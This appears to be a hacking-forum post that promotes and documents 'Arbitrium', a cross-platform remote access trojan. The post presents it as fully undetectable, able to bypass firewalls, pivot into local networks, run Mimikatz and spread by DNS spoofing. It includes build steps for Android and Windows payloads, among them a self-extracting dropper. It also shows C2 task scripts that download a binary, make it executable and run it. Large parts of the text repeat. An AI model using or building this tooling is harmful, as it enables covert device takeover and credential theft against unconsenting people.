Soldier
Essential
- Joined
- 20.10.20
- Messages
- 87
- Reaction score
- 642
- Points
- 83
Arbitrium is a cross-platform is a remote access trojan (RAT), Fully UnDetectable (FUD), It allows you to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding. It gives access to the local networks, you can use the targets as a HTTP proxy and access Router, discover local IPs and scan their ports. Includes modules like Mimikatz, new modules can easily be added. In addition, if Arbitrium is used with a DNS spoofing software is can spread autonomously between devices (#AutoSpread). Arbitrium is a project of multiple parts, the parts were built using Java, JS, C, Python, Cordova and VueJS.
Demo:
The aforementioned issue was quite annoying while working on this project, after awhile I found that building a lightweight binary that keeps running the assigned tasks in the background while the MainActivity stand still just after launching the binary apears to bypass most the restrictions and actually even improve the performance of the App.
MainActivity receives a JS file from the server and uses ThreadPoolExecutor to initiate the binary without hanging for it to exit (More on this StealthMode/BatteryBypass).
Cordova
Android SDK & NDK
PyInquirer
Winrar (Windows only)
git clone BenChaliah/Arbitrium-RAT --recursive
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe
├── runserver.sh
├── main.py
├── reverse_http.py
├── initProxy.py
│
├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
│ ├── runFrame_arm64-v8a
│ ├── toolbox_arm64-v8a
│ ├── ... (x86, x86_64, armeabi-v7a)
│
│
├── JS_scripts
│ ├── checkupdate.js
│ ├── init.js
│ ├── runshell.js
│ └── StealthMode.js
│
├── misc
│
├── modules
│ ├── discover.py
│ ├── mimikatz.py
│ ├── ports.py
│ └── runCMD.py
│
└── threads
Demo:
Features:
- FUD
- Firewall
- Battery optimization / StealthMode
The aforementioned issue was quite annoying while working on this project, after awhile I found that building a lightweight binary that keeps running the assigned tasks in the background while the MainActivity stand still just after launching the binary apears to bypass most the restrictions and actually even improve the performance of the App.
MainActivity receives a JS file from the server and uses ThreadPoolExecutor to initiate the binary without hanging for it to exit (More on this StealthMode/BatteryBypass).
- Web interface
Requirements
- Android's client
Cordova
Android SDK & NDK
- Windows/Linux client
PyInquirer
Winrar (Windows only)
Build
Clone repo:use setAPI_FQDN.sh first to set the server domain/IP in all files
git clone BenChaliah/Arbitrium-RAT --recursive
- Android
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build
The binaries inside /libs are stripped, so it recommended to use these if you're not debuging.
- Windows
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe
Components
$ pip install flask flask_cors && ./runserver.sh # Python2.7The binaries built for Android should be put inside /assets (rename them to binary_{cpuabi}) and the APK will download them, but if you wish to put them inside the APK just make sure to extract them inside the App data folder /data/data/package_name or create a symbolic link inside it window.MyOrangePlugin.exec("/system/bin/ln -s ...
├── runserver.sh
├── main.py
├── reverse_http.py
├── initProxy.py
│
├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
│ ├── runFrame_arm64-v8a
│ ├── toolbox_arm64-v8a
│ ├── ... (x86, x86_64, armeabi-v7a)
│
│
├── JS_scripts
│ ├── checkupdate.js
│ ├── init.js
│ ├── runshell.js
│ └── StealthMode.js
│
├── misc
│
├── modules
│ ├── discover.py
│ ├── mimikatz.py
│ ├── ports.py
│ └── runCMD.py
│
└── threads
- Client/Trojan (Android): The app is build using Cordova for its simplicity and support for cross-platform developpement. This app relays of two main parts
netbolt-orange-plugin:
this is a cordova plugin I made, it contains few functions that we can call from index.html, scripts downloaded via /checkupdate.js mainly use these methods to run the assigned task
+ exec() : execute shell cmd then returns the cmd output, it runs on the UI thread
+ poolexec() : same as 'exec()', but this one uses the ThreadPoolExecutor so the App can run a cmd without blocking the main thread, when the output is ready, it sent via a callback with the exit status
+ download() : this one is for downloading whatever resources the API or the admin may want or need to execute a task
- Example: The trojan at first requests /checkupdate.js, let assumes this is an Android phone and we want to initiate the StealthMode/BatteryBypass to avoid getting killed (Battery optimizations ...), the API then responde with something like:
function sfunc1(){
window.MyOrangePlugin.download([{Link for ELF} ...], function(res){
sfunc2(...);
});
}
function sfunc2(...){
window.MyOrangePlugin.exec("chmod ... ", function(res){
sfunc3(...);
});
}
function sfunc3(...){
window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){
...
});
}
The app also uses a slightly customized version of Cordova background mode plugin.
Download